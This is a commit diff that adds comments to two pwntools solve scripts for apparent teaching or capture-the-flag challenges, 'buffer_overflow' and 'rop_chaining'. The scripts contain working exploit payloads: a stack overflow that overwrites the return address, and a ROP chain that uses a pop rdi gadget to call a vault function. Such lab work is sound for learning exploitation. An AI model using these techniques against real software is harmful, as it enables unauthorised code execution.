Add more comments

Author: qhdwight

buffer_overflow/solve.py

@@ -4,8 +4,6 @@
 
 import argparse
 
-ACCESS_VAULT_FUNCTION_ADDR = 0x0000000000401176
-
 if __name__ == '__main__':
     parser = argparse.ArgumentParser()
     parser.add_argument('--debug', action='store_true')
@@ -15,6 +13,8 @@
     # Tell pwntools our target process to automate future functions
     elf = context.binary = ELF('buffer_overflow')
 
+    access_vault_function_addr = elf.symbols['access_vault']
+
     if args.debug:
         io = gdb.debug(context.binary.path, '''
         set follow-fork-mode child
@@ -53,7 +53,7 @@
     # We only execute one other function which doesn't need it
     saved_ebp = b'B' * 0x8
     # We have to pack the address properly (endianess!)
-    redirect_addr = p64(ACCESS_VAULT_FUNCTION_ADDR)
+    redirect_addr = p64(access_vault_function_addr)
     # Craft the final bytes payload
     payload = dummy_data + saved_ebp + redirect_addr
 

rop_chaining/solve.py

@@ -11,11 +11,14 @@
 
     args = parser.parse_args()
 
-    POP_EDI_GADGET_ADDR = 0x0000000000401253
-    ACCESS_VAULT_FUNCTION_ADDR = 0x0000000000401176
-
     elf = context.binary = ELF('rop_chaining')
 
+    rop = ROP(elf)
+
+    # Address can also be found by running 'ropper --file rop_chaining --search "pop rdi; ret"'
+    pop_rdi_gadget_addr = rop.find_gadget(['pop rdi', 'ret'])[0]
+    access_vault_function_addr = elf.symbols['access_vault']
+
     if args.debug:
         io = gdb.debug(context.binary.path, '''
         set follow-fork-mode child
@@ -27,8 +30,13 @@
 
     io.recvuntil(b"Enter the password to access Santa Ono's secret vault:")
 
-    payload = (b'A' * 0x10 + b'B' * 0x8 +
-               p64(POP_EDI_GADGET_ADDR) + p64(1337) + p64(ACCESS_VAULT_FUNCTION_ADDR))
+    # Padding to get to return address
+    padding = b'A' * 0x10 + b'B' * 0x8
+    # Pop 1337 into rdi register
+    pop_1337_payload = p64(pop_rdi_gadget_addr) + p64(1337)
+    # Notice last chain is calling the target access_vault function
+    # Most 64-bit calling conventions place the first argument in rdi
+    payload = padding + pop_1337_payload + p64(access_vault_function_addr)
 
     io.send(payload)